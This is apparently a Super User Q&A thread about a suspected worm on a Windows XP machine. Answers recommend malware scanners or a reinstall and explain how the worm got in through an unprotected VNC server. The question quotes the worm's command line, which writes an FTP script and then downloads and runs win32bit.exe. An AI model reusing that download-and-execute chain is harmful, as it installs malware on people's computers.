Super User is a question and answer site for computer enthusiasts and power users. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

For the last two days I am experiencing a strange behavior in my computer which I strongly suspect is a virus. So sudden, a series of keyboard events take part in. It tries to open command-prompt and try to execute the following line: del eq&echo open 14062 >> eq&echo user 12120 17227 >> eq &echo get win32bit.exe >> eq &echo quit >> eq &ftp -n -s:eq &win32bit.exe &del eq It is a Win XP SP3 I am operating on and I have McAfee running. Does any body have any idea what would that be?

share|improve this question

migrated from Sep 9 '09 at 14:18

This question came from our site for professional and enthusiast programmers.

Run Malwarebytes Anti-Malware. You can get it here. You may be able to remove it with that. If not then format and reload is the quickest, easist way to clean out the system. Besides a good reload every now and again keeps the OS running well. Hope that helps.

share|improve this answer
in addition, if malwarebytes refuses to install, there's a good chance of the system actually having a virus. – Journeyman Geek Sep 10 '09 at 7:06

if you regular virus scanner doesn't pick up a threat (known or unknown) it doesn't mean it isn't real. give Threatfire a try, an anitvirus program that doesn't rely on virus signatures but on behavioral analysis

share|improve this answer
ooh i like the name – Kez Sep 9 '09 at 14:33

I'd recommend Spybot Search & Destroy.

Check what your network traffic is doing. You may be able to use that to figure out whether it is a remote session, or a remotely operated trojan.

You may also be able to monitor which executable is running in your Task Manager based on Read Bytes and Write Bytes, too. That's how I caught a bug on my system.

share|improve this answer

Yeah, you've been compromised. If you don't have the expertise to fully diagnose and repair trojans and rootkits, the only safe way to proceed is to reinstall the OS. Have fun.

Today's anti-virus tools are not up to the job of protecting you from the vast variety and fast mutations of the threats that are common today. Especially the traditional signature-based scanners are pretty much useless. Don't believe your machine is clean just because there's a reassuring little icon sitting in your system tray and eating up half your CPU.

share|improve this answer

Today, this very IP address seems to be dynamic, which seems odd for its purpose.

$ dig -x
[..] 86400 IN PTR

However, this may in fact be quite old, so is your virus scanner indeed running...?

EDIT: yesterday, searching for only gave 1 result, today 2 (plus this Super User question itself)... Maybe be quite recent after all?

share|improve this answer

You probably do have VNC set up, don't you? And most probably you haven't set up the password for it, have you? This is how the worm tried to enter your computer. The host is irrelevant as it most probably is another poor fellow who haven't set up VNC properly.

The worm tries to create a script for ftp to download win32bit.exe and run it when it's ready.

Running some kind of a anti-... scanner is advised as it is hard to determine whether it succeeded or not.

share|improve this answer

Is your system up-to-date patchwise? It wouldn't hurt to make sure you've got all of the latest and greatest from Microsoft including the Malicious Software Removal tool for this month. It may find and remove what you've got. All of the noted spyware tools above are excellent options too (I like Malwarebytes)

share|improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .